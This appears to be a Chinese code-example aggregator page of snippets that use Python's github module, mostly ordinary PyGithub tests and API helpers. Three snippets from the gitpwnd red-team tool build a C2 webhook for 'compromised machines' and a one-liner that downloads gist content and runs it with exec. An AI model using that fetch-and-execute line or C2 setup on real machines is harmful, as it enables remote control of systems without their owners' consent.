Python github 模块,com() 实例源码

我们从Python开源项目中,提取了以下38个代码示例,用于说明如何使用github.com()

项目:git-pull-request    作者:jd    | 项目源码 | 文件源码
def test_issue_12(self):
        e = github.GithubException(422, {
            u'documentation_url':
            u'https://developer.github.com/v3/pulls/#create-a-pull-request',
            u'message':
            u'Validation Failed',
            u'errors': [{
                u'message': u'No commits between issues-221 and issues-221',
                u'code': u'custom',
                u'resource': u'PullRequest'}
            ]}
        )
        self.assertEqual(
            "Unable to create pull request: Validation Failed (422)\n"
            "No commits between issues-221 and issues-221\n"
            "Check "
            "https://developer.github.com/v3/pulls/#create-a-pull-request "
            "for more information.",
            gpr._format_github_exception("create pull request", e))
项目:gitpwnd    作者:nccgroup    | 项目源码 | 文件源码
def create_private_gist(config, main_github_token, filename, content, description):
    g = Github(main_github_token)
    g_user = g.get_user()
    gist = g_user.create_gist(False, {filename: github.InputFileContent(content)}, description)

    # gists have a list of files associated with them, we just want the first one
    # gist.files = {'filename': GistFile(filename), ...}
    gist_file = [x for x in gist.files.values()][0]
    config["gist_raw_contents_url"] = gist_file.raw_url

    # The structure of the url is:
    # https://gist.githubusercontent.com/<username>/<gist guid>/raw/<file guid>/<filename.txt>
    #
    # Since we're only uploading one file and we want to make the URL as concise as possible,
    # it turns out we can actually trim off everything after /raw/ and it'll still give us what
    # we want.
    config["gist_raw_contents_url"] = config["gist_raw_contents_url"].split("/raw/")[0] + "/raw"

    print("[*] Private gist content at:")
    print("- %s" % config["gist_raw_contents_url"])

    return config

# Return the content that will placed in the private gist
项目:gitpwnd    作者:nccgroup    | 项目源码 | 文件源码
def create_c2_webhook(config):
    print("[*] Creating GitHub webhook for C2 repo that will receive pushes from compromised machines ")

    g = Github(config["main_github_token"])
    g_user = g.get_user()
    repo = g_user.get_repo(config["github_c2_repo_name"])

    # this endpoint is defined in server/gitpwnd/controllers.py
    webhook_endpoint = config["attacker_server"] + "/api/repo/receive_branch"

    # We're using a self-signed cert, so we need to turn off TLS verification for now :(
    # See the following for details: https://developer.github.com/v3/repos/hooks/#create-a-hook
    hook_secret = str(uuid.uuid4())
    params = {"url": webhook_endpoint, "content_type": "json", "secret": hook_secret, "insecure_ssl": "1"}

    #  PyGithub's create_hook doc:
    # http://pygithub.readthedocs.io/en/latest/github_objects/Repository.html?highlight=create_hook
    try:
        repo.create_hook("web", params, ["push"], True)
    except:
        print("[!] Web hook already exists")
        hook = repo.get_hooks()[0]
        if "secret" not in hook.config.keys():
            print("[!] Adding a secret to the hook...")
        else:
            hook_secret = input("Enter webhook secret (Github Repo > Settings > Webhooks > Edit > Inspect 'Secret' element): ")
        new_hook_config = hook.config
        new_hook_config["secret"] = hook_secret
        hook.edit(name=hook.name, config=new_hook_config)
    finally:
        return hook_secret


# Automatically generate a new password for the gitpwnd server
# so we don't use a default one
项目:lbryum    作者:lbryio    | 项目源码 | 文件源码
def run_sanity_checks(repo, branch):
    if repo.git_repo.is_dirty():
        print 'Cowardly refusing to release a dirty repo'
        sys.exit(1)
    if repo.git_repo.active_branch.name != branch:
        print 'Cowardly refusing to release when not on the {} branch'.format(branch)
        sys.exit(1)
    if repo.is_behind(branch):
        print 'Cowardly refusing to release when behind origin'
        sys.exit(1)
    if not is_custom_bumpversion_version():
        print (
            'Install LBRY\'s fork of bumpversion: '
            'pip install -U git+https://github.com/lbryio/bumpversion.git'
        )
        sys.exit(1)
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testAttributes(self):
        self.assertEqual(self.statuses[0].created_at, datetime.datetime(2012, 9, 8, 11, 30, 56))
        self.assertEqual(self.statuses[0].updated_at, datetime.datetime(2012, 9, 8, 11, 30, 56))
        self.assertEqual(self.statuses[0].creator.login, "jacquev6")
        self.assertEqual(self.statuses[0].description, "Status successfuly created by PyGithub")
        self.assertEqual(self.statuses[1].description, None)
        self.assertEqual(self.statuses[0].id, 277040)
        self.assertEqual(self.statuses[0].state, "success")
        self.assertEqual(self.statuses[1].state, "pending")
        self.assertEqual(self.statuses[0].context, "build")
        self.assertEqual(self.statuses[0].target_url, "https://github.com/jacquev6/PyGithub/issues/67")
        self.assertEqual(self.statuses[1].target_url, None)

        # test __repr__() based on this attributes
        self.assertEqual(self.statuses[0].__repr__(),
                         'CommitStatus(state="success", id=277040, context="build")')
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testRaiseErrorWithBranchProtectionWithInvalidEnforcementLevel(self):
        raised = False
        try:
            self.repo.protect_branch("master", True, "", ["test"])
        except github.GithubException as exception:
            raised = True
            self.assertEqual(exception.status, 422)
            self.assertEqual(
                exception.data, {
                    'documentation_url':
                    'https://developer.github.com/v3/repos/#enabling-and-disabling-branch-protection',
                    'message': 'Validation Failed',
                    'errors': [
                        {
                            'field': 'required_status_checks_enforcement_level',
                            'message': "required_status_checks_enforcement_level enforcement level '%s' is not valid",
                            'code': 'custom',
                            'resource': 'ProtectedBranch'
                        }
                    ]
                }
            )
            self.assertTrue(raised)
项目:TutLab    作者:KingsMentor    | 项目源码 | 文件源码
def testAttributes(self):
        self.assertEqual(self.statuses[0].created_at, datetime.datetime(2012, 9, 8, 11, 30, 56))
        self.assertEqual(self.statuses[0].updated_at, datetime.datetime(2012, 9, 8, 11, 30, 56))
        self.assertEqual(self.statuses[0].creator.login, "jacquev6")
        self.assertEqual(self.statuses[0].description, "Status successfuly created by PyGithub")
        self.assertEqual(self.statuses[1].description, None)
        self.assertEqual(self.statuses[0].id, 277040)
        self.assertEqual(self.statuses[0].state, "success")
        self.assertEqual(self.statuses[1].state, "pending")
        self.assertEqual(self.statuses[0].context, "build")
        self.assertEqual(self.statuses[0].target_url, "https://github.com/jacquev6/PyGithub/issues/67")
        self.assertEqual(self.statuses[1].target_url, None)

        # test __repr__() based on this attributes
        self.assertEqual(self.statuses[0].__repr__(),
                         'CommitStatus(state="success", id=277040, context="build")')
项目:TutLab    作者:KingsMentor    | 项目源码 | 文件源码
def testRaiseErrorWithBranchProtectionWithInvalidEnforcementLevel(self):
        raised = False
        try:
            self.repo.protect_branch("master", True, "", ["test"])
        except github.GithubException, exception:
            raised = True
            self.assertEqual(exception.status, 422)
            self.assertEqual(
                exception.data, {
                    u'documentation_url':
                    u'https://developer.github.com/v3/repos/#enabling-and-disabling-branch-protection',
                    u'message': u'Validation Failed',
                    u'errors': [
                        {
                            u'field': u'required_status_checks_enforcement_level',
                            u'message': u"required_status_checks_enforcement_level enforcement level '%s' is not valid",
                            u'code': u'custom',
                            u'resource': u'ProtectedBranch'
                        }
                    ]
                }
            )
            self.assertTrue(raised)
项目:skill-for-github    作者:dkavanagh    | 项目源码 | 文件源码
def testAttributes(self):
        self.assertEqual(self.statuses[0].created_at, datetime.datetime(2012, 9, 8, 11, 30, 56))
        self.assertEqual(self.statuses[0].updated_at, datetime.datetime(2012, 9, 8, 11, 30, 56))
        self.assertEqual(self.statuses[0].creator.login, "jacquev6")
        self.assertEqual(self.statuses[0].description, "Status successfuly created by PyGithub")
        self.assertEqual(self.statuses[1].description, None)
        self.assertEqual(self.statuses[0].id, 277040)
        self.assertEqual(self.statuses[0].state, "success")
        self.assertEqual(self.statuses[1].state, "pending")
        self.assertEqual(self.statuses[0].context, "build")
        self.assertEqual(self.statuses[0].target_url, "https://github.com/jacquev6/PyGithub/issues/67")
        self.assertEqual(self.statuses[1].target_url, None)

        # test __repr__() based on this attributes
        self.assertEqual(self.statuses[0].__repr__(),
                         'CommitStatus(state="success", id=277040, context="build")')
项目:skill-for-github    作者:dkavanagh    | 项目源码 | 文件源码
def testRaiseErrorWithBranchProtectionWithInvalidEnforcementLevel(self):
        raised = False
        try:
            self.repo.protect_branch("master", True, "", ["test"])
        except github.GithubException, exception:
            raised = True
            self.assertEqual(exception.status, 422)
            self.assertEqual(
                exception.data, {
                    u'documentation_url':
                    u'https://developer.github.com/v3/repos/#enabling-and-disabling-branch-protection',
                    u'message': u'Validation Failed',
                    u'errors': [
                        {
                            u'field': u'required_status_checks_enforcement_level',
                            u'message': u"required_status_checks_enforcement_level enforcement level '%s' is not valid",
                            u'code': u'custom',
                            u'resource': u'ProtectedBranch'
                        }
                    ]
                }
            )
            self.assertTrue(raised)
项目:ClassifyHub    作者:Top-Ranger    | 项目源码 | 文件源码
def _rate_limit_handle(self):
        try:
            github_secret = github.GithubSecret()
            if github_secret.secret_available:
                r = requests.get('https://api.github.com/rate_limit', auth=(github_secret.user, github_secret.secret))
            else:
                r = requests.get('https://api.github.com/rate_limit')

            if r.status_code != 200:
                self.rateLimit.emit(-1)

            data = r.json()
            self.rateLimit.emit(int(data['rate']['remaining']))
        except Exception:
            self.rateLimit.emit(-1)

    ##
    # \brief Returns 5 random repositories.
    #
    # This uses one GitHub API request.
    #
    # \return String containing random repositories.
项目:Kiwi    作者:kiwitcms    | 项目源码 | 文件源码
def __init__(self, tracker):
        super(JIRA, self).__init__(tracker)

        if hasattr(settings, 'JIRA_OPTIONS'):
            options = settings.JIRA_OPTIONS
        else:
            options = None

        # b/c jira.JIRA tries to connect when object is created
        # see https://github.com/kiwitcms/Kiwi/issues/100
        if not self.is_adding_testcase_to_issue_disabled():
            self.rpc = jira.JIRA(
                tracker.api_url,
                basic_auth=(self.tracker.api_username, self.tracker.api_password),
                options=options,
            )
项目:pastamaker    作者:sileht    | 项目源码 | 文件源码
def monkeypatch_github():
    p = github.PullRequest.PullRequest

    p.pretty = pretty
    p.fullify = gh_pr_fullifier.fullify
    p.jsonify = gh_pr_fullifier.jsonify

    p.pastamaker_merge = pastamaker_merge
    p.pastamaker_github_post_check_status = pastamaker_github_post_check_status
    p.pastamaker_travis_post_build_results = \
        pastamaker_travis_post_build_results

    # Missing Github API
    p.pastamaker_update_branch = webhack.web_github_update_branch

    # FIXME(sileht): remove me, used by engine for sorting pulls
    p.pastamaker_weight = property(lambda p: p.pastamaker["weight"])

    # FIXME(sileht): Workaround https://github.com/PyGithub/PyGithub/issues/660
    github.PullRequestReview.PullRequestReview._completeIfNeeded = (
        lambda self: None)
项目:zazu    作者:stopthatcow    | 项目源码 | 文件源码
def test_make_gh_token_otp(mocker):
    def require_otp(uri, headers={}, auth=(), json={}):
        assert ('user', 'password') == auth
        if 'X-GitHub-OTP' not in headers:
            return MockResponce(json={'message': 'Must specify two-factor authentication OTP code.'}, status_code=401)
        else:
            assert headers['X-GitHub-OTP'] == 'token'
            return MockResponce(json={'token': 'token'}, status_code=201)

    mocker.patch('zazu.util.prompt', side_effect=['user', 'token'], autospec=True)
    mocker.patch('click.prompt', return_value='password', autospec=True)
    mocker.patch('keyring.set_password')

    with mock_post(mocker, 'https://api.github.com/authorizations', mocker.Mock(wraps=require_otp)) as post_auth:
        assert 'token' == zazu.github_helper.make_gh_token()
        post_auth.call_count == 2
项目:lib9    作者:Jumpscale    | 项目源码 | 文件源码
def _move_to_repo(self, issue, dest):
        """
        Moves issue to a certain destination repo

        @param issue Issue: issue object.
        @param dest Repository: destination repository object.
        """
        self.logger.info("%s: move to repo:%s" % (issue, dest))
        ref = self._issue_url(issue)
        body = "Issue moved from %s\n\n" % ref

        for line in issue.api.body.splitlines():
            if line.startswith("!!") or line.startswith(
                    '### Tasks:') or line.startswith('### Part of Story'):
                continue
            body += "%s\n" % line

        assignee = issue.api.assignee if issue.api.assignee else NotSet
        labels = issue.api.labels if issue.api.labels else NotSet
        moved_issue = dest.api.create_issue(title=issue.title, body=body,
                                            assignee=assignee, labels=labels)
        moved_issue.create_comment(self._create_comments_backlog(issue))
        moved_ref = 'https://github.com/%s/issues/%s' % (dest.fullname, moved_issue.number)
        issue.api.create_comment("Moved to %s" % moved_ref)
        issue.api.edit(state='close')  # we shouldn't process todos from closed issues.
项目:yoda    作者:yoda-pa    | 项目源码 | 文件源码
def process(input):
    gh_username = setup.get_gh_username()
    gh_password = setup.decrypt_password()
    gh = github.Github(gh_username, gh_password)
    click.echo(chalk.blue('you are in git module'))
    click.echo('input = %s' % input)
    USER_CONFIG_FILE_PATH = get_config_file_paths()['USER_CONFIG_FILE_PATH']
    USER_CONFIG_FOLDER_PATH = get_folder_path_from_file_path(USER_CONFIG_FILE_PATH)
    repo = porcelain.init(USER_CONFIG_FOLDER_PATH)
    porcelain.add(repo)
    porcelain.commit(repo, "A sample commit")
    porcelain.remote_add(repo, ".yoda", "https://github.com/manparvesh/.yoda")
    porcelain.push(repo, "https://github.com/manparvesh/.yoda")
项目:git-pull-request    作者:jd    | 项目源码 | 文件源码
def test_git_remote_matching_url(self):
        self.assertEqual(
            "origin",
            gpr.git_remote_matching_url(
                "https://github.com/jd/git-pull-request.git"))
项目:gitpwnd    作者:nccgroup    | 项目源码 | 文件源码
def get_python_one_liner(gist_url):
    # Note that `exec` is required for multiline statements, eval seems to only do simple expressions
    # https://stackoverflow.com/questions/30671563/eval-not-working-on-multi-line-string
    return "import urllib; exec(urllib.urlopen('%s').read())" % gist_url
项目:lbryum    作者:lbryio    | 项目源码 | 文件源码
def get_gh_token():
    if 'GH_TOKEN' in os.environ:
        return os.environ['GH_TOKEN']
    else:
        print """
Please enter your personal access token. If you don't have one
See https://github.com/lbryio/lbry-app/wiki/Release-Script#generate-a-personal-access-token
for instructions on how to generate one.

You can also set the GH_TOKEN environment variable to avoid seeing this message
in the future"""
        return raw_input('token: ').strip()
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testGetFileContents(self):
        contents = self.repo.get_file_contents("/js/bootstrap-affix.js")
        self.assertEqual(contents.encoding, "base64")
        self.assertEqual(contents.url, "https://api.github.com/repos/twitter/bootstrap/contents/js/bootstrap-affix.js")
        self.assertEqual(len(contents.content), 4722)
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testWatching(self):
        gitflow = self.g.get_user("nvie").get_repo("gitflow")
        self.assertListKeyEqual(self.user.get_watched(), lambda r: r.name, ["git", "boost.php", "capistrano", "boost.perl", "git-subtree", "git-hg", "homebrew", "celtic_knot", "twisted-intro", "markup", "hub", "gitflow", "murder", "boto", "agit", "d3", "pygit2", "git-pulls", "django_mathlatex", "scrumblr", "developer.github.com", "python-github3", "PlantUML", "bootstrap", "drawnby", "django-socketio", "django-realtime", "playground", "BozoCrack", "FatherBeaver", "PyGithub", "django", "django", "TestPyGithub"])
        self.assertTrue(self.user.has_in_watched(gitflow))
        self.user.remove_from_watched(gitflow)
        self.assertFalse(self.user.has_in_watched(gitflow))
        self.user.add_to_watched(gitflow)
        self.assertTrue(self.user.has_in_watched(gitflow))
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testStarring(self):
        gitflow = self.g.get_user("nvie").get_repo("gitflow")
        self.assertListKeyEqual(self.user.get_starred(), lambda r: r.name, ["git", "boost.php", "capistrano", "boost.perl", "git-subtree", "git-hg", "homebrew", "celtic_knot", "twisted-intro", "markup", "hub", "gitflow", "murder", "boto", "agit", "d3", "pygit2", "git-pulls", "django_mathlatex", "scrumblr", "developer.github.com", "python-github3", "PlantUML", "bootstrap", "drawnby", "django-socketio", "django-realtime", "playground", "BozoCrack", "FatherBeaver", "amaunet", "django", "django", "moviePlanning", "folly"])
        self.assertTrue(self.user.has_in_starred(gitflow))
        self.user.remove_from_starred(gitflow)
        self.assertFalse(self.user.has_in_starred(gitflow))
        self.user.add_to_starred(gitflow)
        self.assertTrue(self.user.has_in_starred(gitflow))
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testCreateRepository(self):
        repo = self.user.create_repo("TestPyGithub")
        self.assertEqual(repo.url, "https://api.github.com/repos/jacquev6/TestPyGithub")
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testCreateRepositoryWithAllArguments(self):
        repo = self.user.create_repo("TestPyGithub", "Repo created by PyGithub", "http://foobar.com", private=False, has_issues=False, has_wiki=False, has_downloads=False)
        self.assertEqual(repo.url, "https://api.github.com/repos/jacquev6/TestPyGithub")
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testCreateRepositoryWithAutoInit(self):
        repo = self.user.create_repo("TestPyGithub", auto_init=True, gitignore_template="Python")
        self.assertEqual(repo.url, "https://api.github.com/repos/jacquev6/TestPyGithub")
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testGetRepos(self):
        self.assertListKeyEqual(self.user.get_repos(), lambda r: r.name, ["TestPyGithub", "django", "PyGithub", "developer.github.com", "acme-public-website", "C4Planner", "Hacking", "vincent-jacques.net", "Contests", "Candidates", "Tests", "DrawTurksHead", "DrawSyntax", "QuadProgMm", "Boost.HierarchicalEnum", "ViDE"])
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testGetReposWithArguments(self):
        self.assertListKeyEqual(self.user.get_repos("public", "full_name", "desc"), lambda r: r.name, ["ViDE", "QuadProgMm", "PyGithub", "DrawTurksHead", "DrawSyntax", "django", "developer.github.com", "C4Planner", "Boost.HierarchicalEnum", "acme-public-website"])
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testGetReposWithType(self):
        self.assertListKeyEqual(self.user.get_repos("owner"), lambda r: r.name, ["django", "PyGithub", "developer.github.com", "acme-public-website", "C4Planner", "DrawTurksHead", "DrawSyntax", "QuadProgMm", "Boost.HierarchicalEnum", "ViDE"])
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testGetWatched(self):
        self.assertListKeyEqual(self.user.get_watched(), lambda r: r.name, ["git", "boost.php", "capistrano", "boost.perl", "git-subtree", "git-hg", "homebrew", "celtic_knot", "twisted-intro", "markup", "hub", "gitflow", "murder", "boto", "agit", "d3", "pygit2", "git-pulls", "django_mathlatex", "scrumblr", "developer.github.com", "python-github3", "PlantUML", "bootstrap", "drawnby", "django-socketio", "django-realtime", "playground", "BozoCrack", "FatherBeaver", "PyGithub", "django", "django", "TestPyGithub"])
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testGetStarred(self):
        self.assertListKeyEqual(self.user.get_starred(), lambda r: r.name, ["git", "boost.php", "capistrano", "boost.perl", "git-subtree", "git-hg", "homebrew", "celtic_knot", "twisted-intro", "markup", "hub", "gitflow", "murder", "boto", "agit", "d3", "pygit2", "git-pulls", "django_mathlatex", "scrumblr", "developer.github.com", "python-github3", "PlantUML", "bootstrap", "drawnby", "django-socketio", "django-realtime", "playground", "BozoCrack", "FatherBeaver", "amaunet", "django", "django", "moviePlanning", "folly"])
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testGetSubscriptions(self):
        self.assertListKeyEqual(self.user.get_subscriptions(), lambda r: r.name, ["ViDE", "Boost.HierarchicalEnum", "QuadProgMm", "DrawSyntax", "DrawTurksHead", "PrivateStuff", "vincent-jacques.net", "Hacking", "C4Planner", "developer.github.com", "PyGithub", "PyGithub", "django", "CinePlanning", "PyGithub", "PyGithub", "PyGithub", "IpMap", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub", "PyGithub"])
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def fixAuthorizationHeader(headers):
    if "Authorization" in headers:
        if headers["Authorization"].endswith("ZmFrZV9sb2dpbjpmYWtlX3Bhc3N3b3Jk"):
            # This special case is here to test the real Authorization header
            # sent by PyGithub. It would have avoided issue https://github.com/jacquev6/PyGithub/issues/153
            # because we would have seen that Python 3 was not generating the same
            # header as Python 2
            pass
        elif headers["Authorization"].startswith("token "):
            headers["Authorization"] = "token private_token_removed"
        elif headers["Authorization"].startswith("Basic "):
            headers["Authorization"] = "Basic login_and_password_removed"
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testIgnoreHttpsFromGithubEnterprise(self):
        g = github.Github(self.login, self.password, base_url="http://my.enterprise.com/some/prefix")  # http here
        org = g.get_organization("BeaverSoftware")
        self.assertEqual(org.url, "https://my.enterprise.com/some/prefix/orgs/BeaverSoftware")  # https returned
        self.assertListKeyEqual(org.get_repos(), lambda r: r.name, ["FatherBeaver", "TestPyGithub"])  # But still http in second request based on org.url
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testIgnoreHttpsFromGithubEnterpriseWithPort(self):
        g = github.Github(self.login, self.password, base_url="http://my.enterprise.com:1234/some/prefix")  # http here
        org = g.get_organization("BeaverSoftware")
        self.assertEqual(org.url, "https://my.enterprise.com:1234/some/prefix/orgs/BeaverSoftware")  # https returned
        self.assertListKeyEqual(org.get_repos(), lambda r: r.name, ["FatherBeaver", "TestPyGithub"])  # But still http in second request based on org.url
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testRaiseErrorWithOutBranch(self):
        raised = False
        try:
            self.repo.protect_branch("", True, "everyone", ["test"])
        except github.GithubException as exception:
            raised = True
            self.assertEqual(exception.status, 404)
            self.assertEqual(
                exception.data, {
                    'documentation_url': 'https://developer.github.com/v3/repos/#get-branch',
                    'message': 'Branch not found'
                }
            )
            self.assertTrue(raised)
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testCreateLabel(self):
        label = self.repo.create_label("Label with silly name % * + created by PyGithub", "00ff00")
        self.assertEqual(label.color, "00ff00")
        self.assertEqual(label.name, "Label with silly name % * + created by PyGithub")
        self.assertEqual(label.url, "https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+silly+name+%25+%2A+%2B+created+by+PyGithub")
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testGetLabel(self):
        label = self.repo.get_label("Label with silly name % * + created by PyGithub")
        self.assertEqual(label.color, "00ff00")
        self.assertEqual(label.name, "Label with silly name % * + created by PyGithub")
        self.assertEqual(label.url, "https://api.github.com/repos/jacquev6/PyGithub/labels/Label+with+silly+name+%25+%2A+%2B+created+by+PyGithub")
项目:Repobot    作者:Desgard    | 项目源码 | 文件源码
def testCreateHookWithMinimalParameters(self):
        hook = self.repo.create_hook("web", {"url": "http://foobar.com"})
        self.assertEqual(hook.id, 257967)